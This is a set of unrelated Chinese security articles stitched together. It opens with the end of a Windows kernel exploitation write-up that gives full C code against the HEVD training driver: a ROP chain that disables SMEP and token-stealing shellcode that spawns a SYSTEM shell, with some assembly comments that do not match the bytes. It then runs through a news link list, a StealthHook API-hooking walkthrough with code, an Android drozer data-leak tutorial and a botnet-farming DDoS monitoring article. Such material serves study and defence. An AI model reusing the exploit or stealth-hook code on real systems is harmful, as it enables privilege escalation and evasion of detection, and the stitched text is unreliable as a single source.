typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
INT64 get_kernel_base() {
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
ULONG ReturnLength;
HMODULE hNtDll = LoadLibrary(L"ntdll.dll");
NtQuerySystemInformation_t NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");
NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength);
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
ReturnLength);
NtStatus = NtQuerySystemInformation(SystemModuleInformation,
pSystemModuleInformation,
ReturnLength,
&ReturnLength);
PVOID KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
return (INT64)KernelBaseAddressInKernelMode;
}
BYTE shellcode[] =
"\x65\x4C\x8B\x04\x25\x88\x01\x00\x00" //mov r8,[gs:0x188]
"\x4D\x8B\x80\xB8\x00\x00\x00" //mov r8,[r8+0xb8]
"\x4D\x89\xC1" //mov r9,r8 //
"\x49\xC7\xC4\x04\x00\x00\x00" //mov r12,4
//searchsystemPID
"\x4D\x8B\x80\xF0\x02\x00\x00" //mov r8,[r8+0x2F0] /
"\x49\x81\xE8\xF0\x02\x00\x00" //sub r8,0x2F0 /
"\x4D\x39\xA0\xE8\x02\x00\x00" //cmp [r8+0x2e8],r12
"\x75\xE9" // jne searchsystemPID
"\x4D\x8B\xA0\x58\x03\x00\x00" //mov rdx,[rax+0x358]
"\x4D\x89\xA1\x58\x03\x00\x00" //mov [rcx+0x358],rdx
"\x49\x8B\x5B\x60" //mov rbx,[r11+0x60]
"\x4D\x31\xC0\x4D\x31\xC9\x4D\x31\xE4" // xor r8 r9 r12
"\x48\x83\xC4\x10" // add rsp,0x10
"\xc3";
int main()
{
ULONG BytesReturned;
BYTE input_buff[2088] = { 0 };
INT64 KernelBaseAddressInKernelMode = get_kernel_base();
INT64 pop_rcx_offset = KernelBaseAddressInKernelMode + 0x95836;
INT64 rcx_value = 0x506f8;
INT64 mov_cr4_ret = KernelBaseAddressInKernelMode + 0xf732c;
LPVOID shellcode_addr = VirtualAlloc(NULL,
sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
//HMODULE ntoskrnl = LoadLibrary(L"ntoskrnl.exe");
memcpy(shellcode_addr, shellcode, sizeof(shellcode));
memset(input_buff, '\x41', 2056);
memcpy(input_buff + 2056, (PINT64)&pop_rcx_offset, 8); // pop rcx
memcpy(input_buff + 2064, (PINT64)&rcx_value, 8); // disable SMEP value
memcpy(input_buff + 2072, (PINT64)&mov_cr4_ret, 8);
memcpy(input_buff + 2080, (PINT64)&shellcode_addr, 8);
printf(" gamous,yyds!!!");
HANDLE hFile = open_device(kDevName);
__debugbreak();
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
(PVOID)input_buff,
//0x800,
sizeof(input_buff),
NULL,
0,
&BytesReturned,
NULL);
CreateCmd();
}
可以看到,最后是运行成功了的
## 0x04:总结&&感想&&参考
感觉这个并没有想象中的那么难.还有<0day安全>这本书值得一读,书中的很多理念都有让我眼前一亮的感觉,虽然这本书出版于2008年.
碰到问题不要一个劲的莽,要学会动脑.还有就是英语要好,这些文章我大部分都是拿翻译看的.感觉自己表达能力还是差了,没有写出我想要的效果..还有就是我这输入法不知道有什么问题,标点符号用不了中文的,改了也用不了…
### 环境搭建参考
<https://bbs.pediy.com/thread-247019.htm>
<https://bbs.pediy.com/thread-252309.htm>
### 学习资料参考
<0day安全:软件漏洞分析指南>第四章
<https://defuse.ca/online-x86-assembler.htm#disassembly>
<https://connormcgarr.github.io/ROP/>
<https://h0mbre.github.io/HEVD_Stackoverflow_SMEP_Bypass_64bit/#>
<https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-the-access-token/>
<https://cracklab.team/index.php?threads/66/>
<https://www.abatchy.com/2018/01/kernel-exploitation-4>
<https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/>
滴水逆向三期视频 2015-01-21部分 | 社区文章 |
# 2月10日安全热点 - X.509证书可能被利用 / BlackRuby 勒索软件
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
X.509证书可能会被滥用于数据泄露
<https://www.bleepingcomputer.com/news/security/x-509-certificates-can-be-abused-for-data-exfiltration/>
PoS恶意软件通过DNS请求窃取信用卡数据
> [UDPOS PoS malware exfiltrates credit card data DNS
> queries](http://securityaffairs.co/wordpress/68892/malware/udpos-pos-> malware.html)
<https://www.bleepingcomputer.com/news/security/pos-malware-steals-credit-card-data-via-dns-requests/>
2月2日至2月9日威胁总结
<http://blog.talosintelligence.com/2018/02/threat-round-up-0202-0209.html>
Black Ruby —— 新的勒索软件（不会攻击Iran用户）
<https://www.bleepingcomputer.com/news/security/black-ruby-ransomware-skips-victims-in-iran-and-adds-a-miner-for-good-measure/>
一个新的名为DexCrypt 的 MBRLocker需要缴费30元人民币才能重新访问计算机
DexCrypt锁定屏幕
.-' '-.
/ \
| |
|, .-. .-. ,|
| )(__/ \__)( |
|/ /\ \|
(_ ^^ _)
\__|IIIIII|__/
| \IIIIII/ |
\ /
`yao mi ma gei 30 yuan jia qq 2055965068`
## 技术类
Red Team infrastructure
<https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki>
Adobe Flash利用，从CVE-2015-5119到CVE-2018-4878
<https://www.mdsec.co.uk/2018/02/adobe-flash-exploitation-then-and-now-from-cve-2015-5119-to-cve-2018-4878/>
含有挖矿代码的Alexa网站名单
<http://blog.netlab.360.com/the-list-of-top-alexa-websites-with-web-mining-code-embedded-on-their-homepage/>
Catching phishing before they catch you
<https://blog.0day.rocks/catching-phishing-using-certstream-97177f0d499a>
四种成功攻击生物特征识别的手段
http://www.aqniu.com/hack-geek/31540.html
UAF Writeup – pwnable.kr
<https://www.secpulse.com/archives/68260.html>
银行劫匪2.0：数字偷窃和盗窃的隐密信息
> [Bank robbers 2.0: digital thievery and stolen
> cryptocoins](https://blog.malwarebytes.com/cybercrime/2018/02/bank-> robbers-2-0-digital-thievery-stolen-cryptocoins/)
分析CVE-2018-6376 – Joomla !,二阶SQL注入
<https://www.notsosecure.com/analyzing-cve-2018-6376/>
osueta – 利用OpenSSH用户枚举计时攻击
<https://howucan.gr/scripts-tools/2861-osueta-exploit-the-openssh-user-enumeration-timing-attack>
LibreOffice远程任意文件泄露漏洞
<https://github.com/jollheef/libreoffice-remote-arbitrary-file-disclosure> | 社区文章 |
**作者：The_Itach1@知道创宇404实验室
日期：2022年12月23日**
最近看了一下x86matthew关于hook方法的一篇文章<https://www.x86matthew.com/view_post?id=stealth_hook>，相对于传统的一些hook方式，个人认为StealthHook的最大优点并不在于不修改内存保护，而是其隐蔽性，这种hook方式是难以检测的，因为其没有直接作用于目标函数。
此hook方式，实际上并没有去hook目标函数，而是通过目标函数内的子函数，去获取了进入目标函数时，栈上保存的返回地址，通过修改这个地址，即可劫持执行流程，在函数返回前，执行我们的代码。
## hook样例-CreateFile
下面是其给出的例子。
#include <stdio.h>
#include <windows.h>
DWORD dwGlobal_OrigCreateFileReturnAddr = 0;
DWORD dwGlobal_OrigReferenceAddr = 0;
void __declspec(naked) ModifyReturnValue()
{
// the original return address for the CreateFile call redirects to here
_asm
{
// CreateFile complete - overwrite return value
mov eax, 0x12345678
// continue original execution flow (ecx is safe to overwrite at this point)
mov ecx, dwGlobal_OrigCreateFileReturnAddr
jmp ecx
}
}
void __declspec(naked) HookStub()
{
// the hooked global pointer nested within CreateFile redirects to here
_asm
{
// store original CreateFile return address
mov eax, dword ptr [esp + 0x100]
mov dwGlobal_OrigCreateFileReturnAddr, eax
// overwrite the CreateFile return address
lea eax, ModifyReturnValue
mov dword ptr [esp + 0x100], eax
// continue original execution flow
mov eax, dwGlobal_OrigReferenceAddr
jmp eax
}
}
DWORD InstallHook()
{
BYTE *pModuleBase = NULL;
BYTE *pHookAddr = NULL;
// get base address of kernelbase.dll
pModuleBase = (BYTE*)GetModuleHandle("kernelbase.dll");
if(pModuleBase == NULL)
{
return 1;
}
// get ptr to function reference
pHookAddr = pModuleBase + 0x1DF650;
// store original value
dwGlobal_OrigReferenceAddr = *(DWORD*)pHookAddr;
// overwrite ptr to call HookStub
*(DWORD*)pHookAddr = (DWORD)HookStub;
return 0;
}
int main()
{
HANDLE hFile = NULL;
// create temporary file (without hook)
printf("Creating file #1...\n");
hFile = CreateFile("temp_file_1.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
printf("hFile: 0x%X\n\n", hFile);
// install hook
printf("Installing hook...\n\n");
if(InstallHook() != 0)
{
return 1;
}
// create temporary file (with hook)
printf("Creating file #2...\n");
hFile = CreateFile("temp_file_2.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
printf("hFile: 0x%X\n\n", hFile);
return 0;
}
上面的代码的作用就是钩取了CreatFile这个API函数，修改了其返回值为0x12345678，具体步骤如下。
* Hook了kernelbase.dll+0x1DF650处的函数，这个函数是CreatFile内部会调用的一个子函数。
* 在这个子函数执行前，将栈上CreatFile原本的返回地址保存下来，也就是[esp+0x100]的值，然后替换成了我们自己的函数ModifyReturnValue。
* 子函数执行。
* 最终会执行CreatFile函数最后的ret指令，但是此时栈上的返回地址以被修改，所以会先执行我们的函数，修改了eax，也就是返回值变成了0x12345678。
* 最后mov eax, dwGlobal_OrigReferenceAddr jmp eax，回到真正的返回地址处。
下面来调试一下过程。
先是InstallHook()内部，Hook了一个子函数，其获取EAT中了某一子函数的地址，并且将其替换为了HookStub。
然后到第二次调用CreateFile的开头，我们查看一下，这时候ESP存放的返回地址是多少，实际上等下这里的值是会被修改的。
接着，我们本来会调用CreateFile内部的一个子函数，但是其已被我们hook现在变成了HookStub()函数，我们在HookStub()打断点，发现其对栈偏移100处进行了修改，这个地址保存的就是原CreateFile返回到main函数的返回地址。
HookStub()内部将栈上的地址先进行保存到全局变量，然后修改为了我们自己的一个函数，最后jmp到真正的子函数处。
然后在CreatFile函数内部最后的ret指令处打个断点，发现返回地址已被修改，不会跳转到main函数了，而是跳转到ModifyReturnValue()。
进入ModifyReturnValue()，发现其就是对eax(函数返回值)进行了修改，然后跳转到真正应该返回的地址。
最后结果如下，hook后，调用CreatFile函数的返回值会被修改为0x12345678。
整个过程还是比较清晰，也不是很复杂的hook过程，问题就在于，如何获取到子函数的地址，以及到目标函数的返回地址的栈偏移是多少，因为我们不可能自己去一个一个调试获取。
为了解决这个问题，x86matthew师傅开发了一款工具，用来获取可用的子函数地址，以及栈偏移。
## StealthHook工具
其先是注册了一个异常处理函数，用来处理EXCEPTION_SINGLE_STEP异常和EXCEPTION_ACCESS_VIOLATION异常。
LONG WINAPI ExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo)
{
NATIVE_VALUE dwReturnAddress = 0;
// check exception code
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
{
if (dwGlobal_TraceStarted == 0)
{
//打在目标函数的硬件断点和此时的eip是否一致
if (CURRENT_EXCEPTION_INSTRUCTION_PTR != ExceptionInfo->ContextRecord->Dr0)
{
return EXCEPTION_CONTINUE_SEARCH;
}
//获取当前ESP寄存器的值
dwGlobal_InitialStackPtr = CURRENT_EXCEPTION_STACK_PTR;
//返回地址处打硬件断点
ExceptionInfo->ContextRecord->Dr1 = *(NATIVE_VALUE*)dwGlobal_InitialStackPtr;
// initial trace started
dwGlobal_TraceStarted = 1;
}
// set debug control field
ExceptionInfo->ContextRecord->Dr7 = DEBUG_REGISTER_EXEC_DR1;
// check current instruction pointer
if (CURRENT_EXCEPTION_INSTRUCTION_PTR == dwGlobal_Wow64TransitionStub)
{
// we have hit the wow64 transition stub - don't single step here, set a breakpoint on the current return address instead
dwReturnAddress = *(NATIVE_VALUE*)CURRENT_EXCEPTION_STACK_PTR;
ExceptionInfo->ContextRecord->Dr0 = dwReturnAddress;
ExceptionInfo->ContextRecord->Dr7 |= DEBUG_REGISTER_EXEC_DR0;
}
else if (CURRENT_EXCEPTION_INSTRUCTION_PTR == ExceptionInfo->ContextRecord->Dr1)
{
//到达返回地址后，删除所有断点
ExceptionInfo->ContextRecord->Dr7 = 0;
}
else
{
// scan all modules for the current instruction pointer
ScanAllModulesForAddress(CURRENT_EXCEPTION_INSTRUCTION_PTR, CURRENT_EXCEPTION_STACK_PTR);
// single step
ExceptionInfo->ContextRecord->EFlags |= SINGLE_STEP_FLAG;
}
// continue execution
return EXCEPTION_CONTINUE_EXECUTION;
}
else if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION)
{
// access violation - check if the eip matches the expected value
if (CURRENT_EXCEPTION_INSTRUCTION_PTR != OVERWRITE_REFERENCE_ADDRESS_VALUE)
{
return EXCEPTION_CONTINUE_SEARCH;
}
// caught current hook successfully
dwGlobal_CurrHookExecuted = 1;
// restore correct instruction pointer
CURRENT_EXCEPTION_INSTRUCTION_PTR = dwGlobal_OriginalReferenceValue;
// continue execution
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
先不看这个异常处理，后面具体分析。
先看BeginTrace()函数，这个函数的参数就是目标函数的地址。
DWORD BeginTrace(BYTE* pTargetFunction)
{
CONTEXT DebugThreadContext;
// reset values
dwGlobal_TraceStarted = 0;
dwGlobal_SuccessfulHookCount = 0;
dwGlobal_AddressCount = 0;
// set initial debug context - hardware breakpoint on target function
memset((void*)&DebugThreadContext, 0, sizeof(DebugThreadContext));
DebugThreadContext.ContextFlags = CONTEXT_DEBUG_REGISTERS;
DebugThreadContext.Dr0 = (NATIVE_VALUE)pTargetFunction;
DebugThreadContext.Dr7 = DEBUG_REGISTER_EXEC_DR0;
if (SetThreadContext(GetCurrentThread(), &DebugThreadContext) == 0)
{
return 1;
}
// execute the target function
ExecuteTargetFunction();
return 0;
}
其在目标函数地址处，打上了硬件断点，这个异常会被我们自己的异常处理函数所捕获，获取了esp寄存器的值，并且在返回地址处又打了个硬件断点。
if (dwGlobal_TraceStarted == 0)
{
//打在目标函数的硬件断点和此时的eip是否一致
if (CURRENT_EXCEPTION_INSTRUCTION_PTR != ExceptionInfo->ContextRecord->Dr0)
{
return EXCEPTION_CONTINUE_SEARCH;
}
//获取当前ESP寄存器的值
dwGlobal_InitialStackPtr = CURRENT_EXCEPTION_STACK_PTR;
//返回地址处打硬件断点
ExceptionInfo->ContextRecord->Dr1 = *(NATIVE_VALUE*)dwGlobal_InitialStackPtr;
// initial trace started
dwGlobal_TraceStarted = 1;
}
接着执行，ScanAllModulesForAddress()函数是用来扫描子函数的，其参数是当前eip和当前esp，然后将EFlags设置为了单步执行，意味着后面每执行一条汇编指令，都会触发单步异常，从而进入这个异常处理函数。
// scan all modules for the current instruction pointer
ScanAllModulesForAddress(CURRENT_EXCEPTION_INSTRUCTION_PTR, CURRENT_EXCEPTION_STACK_PTR);
// single step
ExceptionInfo->ContextRecord->EFlags |= SINGLE_STEP_FLAG;
当进入到合适的子函数头部中时，就会调用下面的遍历过程，计算出其对应的dll以及函数地址，和栈偏移。下面两个函数，一个遍历模块，一个遍历EAT表，当遍历出子函数时，就会用最初目标函数的的esp-现在的esp，从而得到栈偏移。
DWORD ScanModuleForAddress(BYTE* pModuleBase, char* pModuleName, NATIVE_VALUE dwAddr, NATIVE_VALUE dwStackPtr)
{
IMAGE_DOS_HEADER* pImageDosHeader = NULL;
IMAGE_NT_HEADERS* pImageNtHeader = NULL;
IMAGE_SECTION_HEADER* pCurrSectionHeader = NULL;
DWORD dwReadOffset = 0;
BYTE* pCurrPtr = NULL;
MEMORY_BASIC_INFORMATION MemoryBasicInfo;
DWORD dwStackDelta = 0;
// get dos header
pImageDosHeader = (IMAGE_DOS_HEADER*)pModuleBase;
if (pImageDosHeader->e_magic != 0x5A4D)
{
return 1;
}
// get nt header
pImageNtHeader = (IMAGE_NT_HEADERS*)(pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeader->Signature != IMAGE_NT_SIGNATURE)
{
return 1;
}
// loop through all sections
for (DWORD i = 0; i < pImageNtHeader->FileHeader.NumberOfSections; i++)
{
// get current section header
pCurrSectionHeader = (IMAGE_SECTION_HEADER*)((BYTE*)&pImageNtHeader->OptionalHeader + pImageNtHeader->FileHeader.SizeOfOptionalHeader + (i * sizeof(IMAGE_SECTION_HEADER)));
// ignore executable sections
if (pCurrSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE)
{
continue;
}
// scan current section for the target address
dwReadOffset = pCurrSectionHeader->VirtualAddress;
for (DWORD ii = 0; ii < pCurrSectionHeader->Misc.VirtualSize / sizeof(NATIVE_VALUE); ii++)
{
// check if the current value contains the target address
pCurrPtr = pModuleBase + dwReadOffset;
if (*(NATIVE_VALUE*)pCurrPtr == dwAddr)
{
// found target address - check memory protection
memset((void*)&MemoryBasicInfo, 0, sizeof(MemoryBasicInfo));
if (VirtualQuery(pCurrPtr, &MemoryBasicInfo, sizeof(MemoryBasicInfo)) != 0)
{
// check if the current region is writable
if (MemoryBasicInfo.Protect == PAGE_EXECUTE_READWRITE || MemoryBasicInfo.Protect == PAGE_READWRITE)
{
// ensure the address list is not full
if (dwGlobal_AddressCount >= MAXIMUM_STORED_ADDRESS_COUNT)
{
printf("Error: Address list is full\n");
return 1;
}
// store current address in list
dwGlobal_AddressList[dwGlobal_AddressCount] = (NATIVE_VALUE)pCurrPtr;
dwGlobal_AddressCount++;
// calculate stack delta
dwStackDelta = (DWORD)(dwGlobal_InitialStackPtr - dwStackPtr);
printf("Instruction 0x%p referenced at %s!0x%p (sect: %s, virt_addr: 0x%X, stack delta: 0x%X)\n", (void*)dwAddr, pModuleName, (void*)pCurrPtr, pCurrSectionHeader->Name, dwReadOffset, dwStackDelta);
}
}
}
// increase read offset
dwReadOffset += sizeof(NATIVE_VALUE);
}
}
return 0;
}
DWORD ScanAllModulesForAddress(NATIVE_VALUE dwAddr, NATIVE_VALUE dwStackPtr)
{
DWORD dwPEB = 0;
PEB* pPEB = NULL;
LDR_DATA_TABLE_ENTRY* pCurrEntry = NULL;
LIST_ENTRY* pCurrListEntry = NULL;
DWORD dwEntryOffset = 0;
char szModuleName[512];
DWORD dwStringLength = 0;
// get PEB ptr
#if _WIN64
pPEB = (PEB*)__readgsqword(0x60);
#else
pPEB = (PEB*)__readfsdword(0x30);
#endif
// get InMemoryOrderLinks offset in structure
dwEntryOffset = (DWORD)((BYTE*)&pCurrEntry->InLoadOrderLinks - (BYTE*)pCurrEntry);
// get first link
pCurrListEntry = pPEB->Ldr->InLoadOrderModuleList.Flink;
// enumerate all modules
for (;;)
{
// get ptr to current module entry
pCurrEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)pCurrListEntry - dwEntryOffset);
// check if this is the final entry
if (pCurrEntry->DllBase == 0)
{
// end of module list
break;
}
// ignore main exe module
if (pCurrEntry->DllBase != pGlobal_ExeBase)
{
// convert module name to ansi
dwStringLength = pCurrEntry->BaseDllName.Length / sizeof(wchar_t);
if (dwStringLength > sizeof(szModuleName) - 1)
{
dwStringLength = sizeof(szModuleName) - 1;
}
memset(szModuleName, 0, sizeof(szModuleName));
wcstombs(szModuleName, pCurrEntry->BaseDllName.Buffer, dwStringLength);
// scan current module
ScanModuleForAddress((BYTE*)pCurrEntry->DllBase, szModuleName, dwAddr, dwStackPtr);
}
// get next module entry in list
pCurrListEntry = pCurrListEntry->Flink;
}
return 0;
}
最终会将所有合适的子函数都保存到dwGlobal_AddressList[dwGlobal_AddressCount]这个全局数组中。
然后会验证一下获取到的这些子函数地址的可用性。
{
// attempt to hook the target function at all referenced instructions found earlier
for (DWORD i = 0; i < dwGlobal_AddressCount; i++)
{
printf("\nOverwriting reference: 0x%p...\n", (void*)dwGlobal_AddressList[i]);
// reset flag
dwGlobal_CurrHookExecuted = 0;
// store original value
dwGlobal_OriginalReferenceValue = *(NATIVE_VALUE*)dwGlobal_AddressList[i];
// overwrite referenced value with placeholder value
*(NATIVE_VALUE*)dwGlobal_AddressList[i] = OVERWRITE_REFERENCE_ADDRESS_VALUE;
printf("Calling target function...\n");
// execute target function
ExecuteTargetFunction();
// restore original value
*(NATIVE_VALUE*)dwGlobal_AddressList[i] = dwGlobal_OriginalReferenceValue;
// check if the hook was executed
if (dwGlobal_CurrHookExecuted == 0)
{
// hook wasn't executed - ignore
printf("Failed to catch hook\n");
}
else
{
// hook was executed - this address can be used to hook the target function
printf("Hook caught successfully!\n");
dwGlobal_SuccessfulHookCount++;
}
}
return 0;
}
其将其函数地址修改为OVERWRITE_REFERENCE_ADDRESS_VALUE，导致这个子函数不可用，然后就会触发EXCEPTION_ACCESS_VIOLATION异常，由我们的异常处理函数来处理，主要就是修改dwGlobal_CurrHookExecuted
= 1，代表测试成功。
else if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION)
{
// access violation - check if the eip matches the expected value
if (CURRENT_EXCEPTION_INSTRUCTION_PTR != OVERWRITE_REFERENCE_ADDRESS_VALUE)
{
return EXCEPTION_CONTINUE_SEARCH;
}
// caught current hook successfully
dwGlobal_CurrHookExecuted = 1;
// restore correct instruction pointer
CURRENT_EXCEPTION_INSTRUCTION_PTR = dwGlobal_OriginalReferenceValue;
// continue execution
return EXCEPTION_CONTINUE_EXECUTION;
}
## 总结
此hook方式的思路还是很新颖，同样也存在一些缺点，那就是只能在目标函数执行完成后，修改流程，并且可能hook的子函数万一被其他函数也调用了，这时候修改栈上的值，是否会有触发崩溃可能性呢。
通过这个工具的代码，也学到不少东西，异常处理，打硬件断点等等，可惜的是每想要hook一个API函数，都必须要去修改一下源码。
## 参考
<https://www.x86matthew.com/view_post?id=stealth_hook>
* * * | 社区文章 |
## 简单的安卓漏洞挖掘学习（一）
最近打比赛之余看了一些简单的漏洞挖掘知识是关于安卓方面的，希望广大的小白能学到一些，本人菜鸟请大佬勿喷。。。
### 环境配置
##### 设备选择
这里首先要有个安卓设备（有钱推荐原生谷歌手机），我用的是夜神模拟器这里上两张图,没办法囊中羞涩
##### 工具使用
###### adb
如果使用夜神可以利用夜神安装目录下的adb程序进行运行，夜神也有一个好处就是root会是自动的非常方便省去了好多时间。
##### drozer
这个简直是个神器了，估计很多大佬也会用，查资料的过程中还了解到他还可以二次开发（自我DIY）推荐大家使用，不过安装过程中可能会有很多的bug。
这里我用的是MAC系统大概的安装流程：
这里是链接<https://github.com/mwrlabs/drozer>
一般情况下跟着这个安装就不会出错，不过可能会有缺少twis库，这里可以利用pip进行一个安装就可以。
### 数据泄漏之本地信息储存方式不当
工具准备的差不多我们就可以了解下具体的漏洞类型了，第一个漏洞就是数据泄漏之本地信息储存方式不当。
#### 原理
原理上很简单，因为我们在使用apk的过程之中存在着很多敏感信息如收货地址联系电话等，有的甚至是身高体重家庭状况。这些信息放在本地且明文储存是极其危险的，如果手机不慎遗失，或者是存在恶意软件或是其他的问题极其有可能让问题变的很大。
#### 实例
这里用一个app的例子来说明，因为漏洞还在审核，几乎是需要全程打码了请大家谅解，但是漏洞危害不大可以展示一下。
###### 信息位置确定
首先我们利用drozer进行一个数据储存位置的定位
`run app.package.list`
寻找到我们需要的挖漏洞的apk，然后再查看app的具体信息
`run app.package.info -a apkName`
这里就可以查看到数据存放的位置了。一般这里打印出来的是地址都是/data/data/apkName
接着就是打开adb进行一个拖库了。
##### 信息填写
这里是我填写好的具体信息了没有打码的信息都是虚构的，大佬们别查我。。
##### 数据拉取
利用命令 `./adb pull /路径
/本地路径`就可以在本地拉出数据库了（这里我尝试的事root用户拉取，感兴趣的师傅可以试试其他用户是否可以，如果也可以拉取或者查看那么这个漏洞的问题严重性就会上升了）
我一般拖出整个apk的数据库，然后在`share_prefs`文件夹里进行一个查看，一般在data_server.xml，接下来我们打开这个文件查看一下。
这里就可以很明显的看到我们的信息了，这就算是一个简单的漏洞了（是不是其实挖洞有时候并不难，当然大厂是不会犯这样的错误，如果你打开淘宝的这些属性，全是一些加密字符。。）
#### 总结
整个漏洞的挖掘过程就大概是这个样子了，这个漏洞是比较小的厂商，或者是本地储存信息不敏感的厂商才会出现，但是大家可以去试试说不定就是你人生的第一个漏洞尼～挖到漏洞感觉还是很好的不管是低危，还是高危。下次具体会分享一下本地拒绝服务的漏洞，这个漏洞问题是可大可小的看具体情况。 | 社区文章 |
#### Author: elknot@360corpsec
* * *
## 0x00 前言
前一段时间memcache
drdos攻击可谓是借着各种渠道火了一次，包括笔者所在的公司也被社会人反手抡了几次，可以预见这种类型的DDoS一旦发生起来非常的可怕。我们对这种情况往往都是看到流量异常之后选择封堵相关的协议和端口，或者有钱的方法直接上电信云堤（据说收费非常坑爹，5000块钱一次，现在不知道涨价没有），这样的话始终处于一个被动挨打的局面，那么有没有什么方法可以稍微减轻一下被动的局面呢？答案在下面。
* * *
## 0x01 DDoS背后的故事
现在的DDoS其实说白了，也就那么几种方式，杀敌一千自损八百的TCP-Based Flood比如说SYN
Flood，四两拨千斤的反射型DDoS也就是DRDoS比如说UDP
Flood，然后就是基于Botnet的僵尸网络发起的DDoS比如PerlBot、Mirai这种。接着就是一些来自于应用层攻击的DDoS比如说CC、HTTP
SlowRequest这些。当然了还有其他种类的DDoS。根据DDoSMon的数据来看，我们发现UDP-Based
Flood实际上是占比最多的DDoS类型。
紧接着我们用时间排序去看一下一段时间内的DDoS详细数据，我们发现了一件有趣的事情：基本上SYN-Flood和UDP-Based
Flood处于一个此消彼涨的关系，所以我们觉得有必要去了解一下里面的猫腻。
我们通过对一些DDoS流量进行筛选和分析发现，很多的DNS Flood、SYN Flood还有一些其他的TCP-Based
Flood都是由于Botnet引起的（这里需要强调一下，数据可能不严谨，大多数都是来自于我这边蜜罐的捕获到的样本，由于本人比较穷，所以蜜罐节点较少），而这些botnet的家族分布和最近一段时间的攻击数据如下图所示（大家请忽略那个和我id一样的botnet，真尴尬，等有时间解释一下为什么要用这个id）。
OK，既然这样的话，我们把问题集中到focus解决由Botnet引起的DDoS攻击事件，就可以解决一部分的DDoS预警的事情了。
这里插一句，笔者最近使用memcache服务在某云厂商的VPS上搭建了一个开放11211端口的memcache的服务，很遗憾，只有几个大黑客用我的节点打了人了，具体打了谁我们在第三部分说。
* * *
## 0x02 Botnet的养殖和数据获取
首先botnet的养殖设施，俗称养鸡厂或者养马场，已经不是个太新的概念了，很多地方都有，算是蜜罐的一个变种，主要是用来保证botnet的存活同时捕获指令。大概先说一下思路，用逻辑链条来表示的话是这样的：
获取Botnet样本——》逆向分析指令集——》分配容器——》载入Botnet——》存活性检测——》流量监控——》收集Flood Target
我再来用大白话说一下完整的流程：我们通过蜜罐也好，还是其他的手段也好来获取Botnet的样本。通过对样本的分析（沙箱、IDA什么的无所谓）可以获取到Botnet运行相关的指令数据包和传递方式。当我们完成了分析之后，我们在服务器上为其预制一个容器，加载Botnet，同时开启抓包功能（可以设置BPF过滤规则过滤指定的协议，同时设置好iptables防止攻击真正发生），抓到指令后预警，输出攻击的目标，完结。
其实通过上面的描述你会发现，获取样本这一部分可以通过主动交互式蜜罐进行获取，botnet分析部分可以通过自动化沙箱来完成分析，容器分配和管理可以使用Kubernate等调度工具进行分配，流量监控和存活性检测这一部分可以依赖Kernel-Based Agent来检测，所以从逻辑链条来说，这一套使用自动化完成理论上是没有难度的。
虽然说实现上没有难度，但是我们仍需要注意以下几个点：
攻击行为假戏真做：由于要养殖Botnet，所以Botnet必定是存活的，有两种方法可以对Botnet进行限制，也就是Botnet减毒处理也就是把一些功能阉割掉，还有一种就是流量限制，开启对应的流量限制可以防止DDoS假戏真做，当然如果没有办法的话，不处理也行，但是当心被人查到是你们家的东西打了人家。
魔改容器：因为我们要对Botnet的行为和流量进行长时间监测，所以容器应该是我们Hook掉一些函数之后的魔改容器，当然也可以使用Agent这种大后门来对Botnet的系统级API进行Hook。
虚拟化技术的选择：在这里会有人问我为什么不选择虚拟机而选择容器作为养殖环境，一方面是因为虚拟化对资源占用比较多，同时成本较大，容易被发现，另一方面主要是由于容器的灵活性，当然我使用的是微软Hyper-V
Docker，相对于其他传统的Docker而言，一张图就能说明白Hyper-V
Docker和其他的Docker差别在哪里（图源自于笔者去年参加Microsoft Build Tour的时候拍的一张ppt）。
这样的话我们大概就有了个系统雏形，方便理解我还是画个图吧：
图里面大体都很好理解，前面没说到的是主要是规则那里，设置邮件告警和FastnetMon监测异常流量的原因主要是怕引起的攻击打出去的能检测的的到，并且及时通知异常流量，这里的规则一般都是手动维护。
其实这套系统是我过年的时候研究tor的同时搭建的，目前由于样本的问题监测到的DDoS基本上两只手能数的过来（截止到12号，日志里面显示的是23次攻击），样本的数量也就10个左右，具体的数据分析后面再说。
我们在设置bot的数据结构的时候，建议设置成如下的方式：
{
"type": "botnet_info",
"data":
{
"botnet_name": "elknot.xor",
"botnet_caught_type": "Honeypot"
"botnet_caught": "2018-02-17 14:25:74",
"botnet_antivm": False,
"botnet_status": "Alive",
"botnet_container": "bot_e74a1dc3",
"botnet_commands": ["PONG", "HTTP"]
"botnet_attack":
[{
"attack_info": "TCP SYN_Flood",
"attcack_pps": 185425,
"attack_target": ["171.***.***.24", "114.***.***.95"],
"attack_true": True
},
{
"attack_info": "UDP NTP_Flood",
"attcack_pps": 64229,
"attack_target": ["221.***.***.15", "94.***.***.12"],
"attack_true": True
}]
}
}
